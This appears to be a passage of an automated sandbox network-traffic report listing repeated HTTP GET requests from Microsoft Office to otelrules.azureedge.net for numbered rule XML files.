Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
